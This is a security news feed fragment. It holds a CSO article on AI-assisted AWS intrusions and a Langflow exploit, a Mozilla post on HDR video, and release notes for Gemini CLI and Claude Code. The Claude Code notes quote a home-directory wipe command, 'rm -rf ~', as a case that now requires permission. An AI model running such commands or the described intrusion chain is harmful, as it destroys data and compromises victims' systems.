<p class="wp-block-paragraph">“What this exposes is a truth that all security personnel must come to terms with: Most breaches won’t hinge on advanced AI, but on unpatched systems, exposed services, and weak identity controls,” Gidi Cohen, CEO and co-founder of AI security startup Bonfy.ai, tells CSO. “AI just makes those gaps impossible to ignore. The organizations that will struggle aren’t the ones lacking AI defenses; they’re the ones still relying on human-speed security in a machine-speed threat environment.”</p>



<h2 class="wp-block-heading">No need for zero-days</h2>



<p class="wp-block-paragraph">As aptly demonstrated by the U of Toronto study, AI agents don’t need sophisticated zero-day vulnerabilities to break into environments, because many environments have systems and applications with known flaws and generic weaknesses.</p>



<p class="wp-block-paragraph">The attack documented by Sysdig, which its researchers dubbed JadePuffer, exploited a year-old vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248">CVE-2025-3248</a>) in Langflow, ironically a tool for building AI agents. In the new attack documented by Sygnia, attackers exploited a weakness in a web application that enabled them to find a stored AWS key. From there they quickly made their way through the victim’s cloud environment with the help of AI automation.</p>



<p class="wp-block-paragraph">“The threat actor was not exploiting a single misconfiguration; they were chaining weaknesses across application services, AWS resources, source-control repositories, CI/CD workflows, runtime components, and data stores, while rapidly executing credential discovery, secrets harvesting, cloud enumeration, deployment-pipeline abuse, runtime modification, database access, and operational disruption,” the researchers said.</p>



<p class="wp-block-paragraph">As with the JadePuffer case, the attackers documented by Sygnia were focused on extorting money from the victim. To achieve this, they compromised as many AWS instances as possible, exfiltrated data but also set up multiple persistence points in the AWS environment. The goal was to put pressure on the victim by demonstrating that despite recovery efforts they still had access to the environment.</p>



<h2 class="wp-block-heading">Speed is the new game</h2>



<p class="wp-block-paragraph">Once sophisticated attackers break into an environment they often spend weeks or even months slowly moving to other systems. This is in part because it takes time for a human team to gain a thorough understanding of the environment and to find where the most valuable systems are.</p>



<p class="wp-block-paragraph">This activity is also often trial-and-error: The attackers perform reconnaissance to discover the network’s topology, find exploitable weaknesses in additional systems, and search them for stored credentials that could provide access to more targets, all while using existing OS tools or common system administration techniques that won’t trip malware and intrusion detection systems.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/569703/threat-hunting-explained-taking-an-active-approach-to-defense.html">Active threat hunting</a> is one way to counter such techniques that are designed to evade automated detection. When threat hunting, human analysts inspect the organization’s network and systems manually for signs of compromises that might have been missed by tools. This is a slow but effective defensive technique — but only if attackers operate with the same time constraints.</p>



<p class="wp-block-paragraph">“Traditional incident response often relies on the assumption that attacker progression will generate enough observable signals for defenders to investigate and contain activity before access materially expands across the environment,” Sygnia’s researchers wrote in their report. “The observed attack pattern challenged this assumption. Forensic traces showed rapid, repeated activity consistent with automated or AI-assisted workflows for credential harvesting, permission analysis, vulnerability discovery, and attack-path mapping, allowing the intrusion to progress across multiple stages in a compressed time frame.”</p>



<p class="wp-block-paragraph">And it wasn’t a case of simple automated scripts going through an attack playbook either, but workstreams that showed clear signs of environment adaptation. Every new access was rapidly assessed and resulted in actions tailored for that specific system, whether an EC2 instance, S3 bucket, SQL database, or a CI/CD runner on GitHub.</p>



<h2 class="wp-block-heading">Prevention is back in the spotlight</h2>



<p class="wp-block-paragraph">The obvious answer to AI-assisted attacks is AI-assisted defense. But simply the presence of AI-powered features in detection and response products is not a guarantee for thwarting such fast and adaptive attacks. Organizations must ensure all these tools and workflows are well integrated into a coordinated process across their different teams.</p>



<p class="wp-block-paragraph">Moreover, these attacks show the value of defense-in-depth actions such as continuous validation of configurations, fast patch deployment, frequent secrets rotation, network segmentation, IP-based access control rules, implementing the principle of least privilege for credentials, restricting administrative privileges, enabling multi-factor authentication, and isolating cloud workloads.</p>



<p class="wp-block-paragraph">Sygnia also recommends building automated response playbooks that can be quickly adjusted and deployed when potential signs of compromise are detected.</p>



<p class="wp-block-paragraph">“The skill floor for running a ransomware operation dropped to the cost of running an agent,” Dray Agha, senior manager of tactical response at security firm Huntress, tells CSO. “Very mediocre cyber criminals can now ‘level up’ their impact from AI. That should worry defenders more than any single new technique, as it means more attackers, more often, against more of the long tail of unpatched, exposed infrastructure.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla GFX: HDR video in Firefox for Windows tech retrospective]]></title>
<description><![CDATA[HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.



A primer on video playback for the web:




Video file demux and decode: A video s...]]></description>
<link>https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</guid>
<pubDate>Tue, 14 Jul 2026 07:08:30 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="wp-block-paragraph">HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.</p>



<p class="wp-block-paragraph">A primer on video playback for the web:</p>



<ul class="wp-block-list">
<li><strong>Video file demux and decode</strong>: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/recommended-8-bit-yuv-formats-for-video-rendering">NV12 for SDR</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/10-bit-and-16-bit-yuv-video-formats">P010 for HDR</a>. (If you visit <strong>about:support</strong> in Firefox, and search for <strong>Codec Support Information</strong> (or one of the codec names like <strong>AV1</strong>), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)</li>



<li><strong>Gecko displaylist building</strong>: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.</li>



<li><strong>WebRender</strong>: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_directcomp/">DirectComposition API</a>, which manages a graph of <a href="https://learn.microsoft.com/en-us/windows/win32/api/dcomp/nn-dcomp-idcompositionvisual">visuals</a>. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.</li>
</ul>



<p class="wp-block-paragraph">As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:</p>



<ul class="wp-block-list">
<li>Initially, we had hoped that on a modern system, <a href="https://en.wikipedia.org/wiki/Rec._2100">BT2100</a> HDR videos could be displayed on Windows by simply sending them to DirectComposition.
<ul class="wp-block-list">
<li>In theory, the Desktop Window Manager (DWM) honors the <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nn-dxgi1_4-idxgiswapchain3">DXGISwapChain3</a>::<a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nf-dxgi1_4-idxgiswapchain3-setcolorspace1">SetColorSpace1</a> method which should let us request either <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020</a>. The former refers to SMPTE 2084, more commonly called PQ, the <a href="https://en.wikipedia.org/wiki/Perceptual_quantizer">Perceptual Quantizer</a> function and the latter is ARIB-STD-B67  also known as HLG, the <a href="https://en.wikipedia.org/wiki/Hybrid_log%E2%80%93gamma">Hybrid Log Gamma</a> function, most commonly used on HDR TV broadcasts.</li>



<li>Unfortunately, this was a dead end. In testing with a mocked up <a href="https://github.com/FirefoxGraphics/compositor_colortest/tree/main">compositor test app</a>, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.</li>



<li>For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.</li>
</ul>
</li>



<li>As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
<ul class="wp-block-list">
<li>Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.</li>



<li>Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.</li>



<li>In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.</li>
</ul>
</li>



<li>We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
<ul class="wp-block-list">
<li>In favor of VideoProcessorBlt:
<ul class="wp-block-list">
<li>It uses less power on GPUs that have a video processor unit.</li>



<li>We discovered in testing (using <a href="https://learn.microsoft.com/en-us/windows/win32/api/d3d11_1/nf-d3d11_1-id3d11videoprocessorenumerator1-checkvideoprocessorformatconversion">CheckVideoProcessorFormatConversion</a>) that while many modern GPUs support one of the needed conversions (P010 PQ -&gt; RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -&gt; RGB10 PQ).</li>



<li>The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.</li>



<li>In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.</li>
</ul>
</li>



<li>In favor of writing our own shader with all of the features:
<ul class="wp-block-list">
<li>This would work consistently on all vendors – nothing special here.</li>



<li>This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.</li>



<li>This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV-&gt;RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020-&gt;BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).</li>
</ul>
</li>



<li>In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.</li>
</ul>
</li>



<li>There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
<ul class="wp-block-list">
<li>We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.</li>



<li>We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.</li>
</ul>
</li>



<li>We hope we can avoid tone mapping HDR content when viewed on HDR displays.
<ul class="wp-block-list">
<li>It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.</li>



<li>For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper <a href="https://doi.org/10.1145/566654.566575">Photographic Tone Reproduction for Digital Images</a> by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -&gt; 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.</li>



<li>We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
<ul class="wp-block-list">
<li>Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.</li>



<li>Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.</li>



<li>Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.</li>



<li>In general the detailed parts of an image are within a certain brightness band – see <a href="https://www.yedlin.net/DebunkingHDR/">Debunking HDR</a> for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.</li>



<li>User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.</li>
</ul>
</li>
</ul>
</li>



<li>WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
<ul class="wp-block-list">
<li>While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">In general, one of the biggest challenges in working on graphics code in a web browser is a lack of documentation for how to best use features like video playback and desktop compositing in the context of a web browser (e.g. multiple processes, sandboxing, shared memory, sharing external textures, etc). This parallels the rarity of graphics engineers with such experience. Building new features in this space requires a lot of research (and a lot of trial and error). The solution you end up with may not look at all like the one you initially imagined.</p>



<p class="wp-block-paragraph">On behalf of the graphics team at Mozilla, I want to thank the people who use Firefox Nightly regularly and file bug reports when things aren’t working the way they want. Comments on <a href="https://mozillagfx.wordpress.com/2026/01/16/experimental-high-dynamic-range-video-playback-on-windows-in-firefox-nightly-148/">Experimental High Dynamic Range video playback on Windows in Firefox Nightly 148</a>, <a href="https://connect.mozilla.org/">Mozilla Connect</a>, and <a href="https://bugzilla.mozilla.org/">Bugzilla</a> bug reports have guided us to focus on the use-cases that matter to people using Firefox. When we succeed, it’s a great feeling.</p>



<p class="wp-block-paragraph">We’re working on extending HDR support to photos, apps/games and general web content.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260714.gfa975395b]]></title>
<description><![CDATA[What's Changed

fix(core): enrich shared project quota limit errors with setup hint by @amelidev in #28391
fix(a2a-server): ensure task cancellation aborts execution loop by @luisfelipe-alt in #28316
fix(core): simplify plan mode write policy to support relative paths by @DavidAPierce in #28398
f...]]></description>
<link>https://tsecurity.de/de/3666680/downloads/release-v0520-nightly20260714gfa975395b/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666680/downloads/release-v0520-nightly20260714gfa975395b/</guid>
<pubDate>Tue, 14 Jul 2026 03:32:12 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core): enrich shared project quota limit errors with setup hint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875463769" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28391" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28391/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28391">#28391</a></li>
<li>fix(a2a-server): ensure task cancellation aborts execution loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4838860348" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28316" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28316/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28316">#28316</a></li>
<li>fix(core): simplify plan mode write policy to support relative paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidAPierce/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidAPierce">@DavidAPierce</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876823809" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28398" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28398/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28398">#28398</a></li>
<li>feat(core): Bump node google-auth-library version to 10.9.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jerrylin3321/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jerrylin3321">@jerrylin3321</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869745101" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28385" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28385/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28385">#28385</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260713.gf354eebaf...v0.52.0-nightly.20260714.gfa975395b"><tt>v0.52.0-nightly.20260713.gf354eebaf...v0.52.0-nightly.20260714.gfa975395b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 2,36ms -->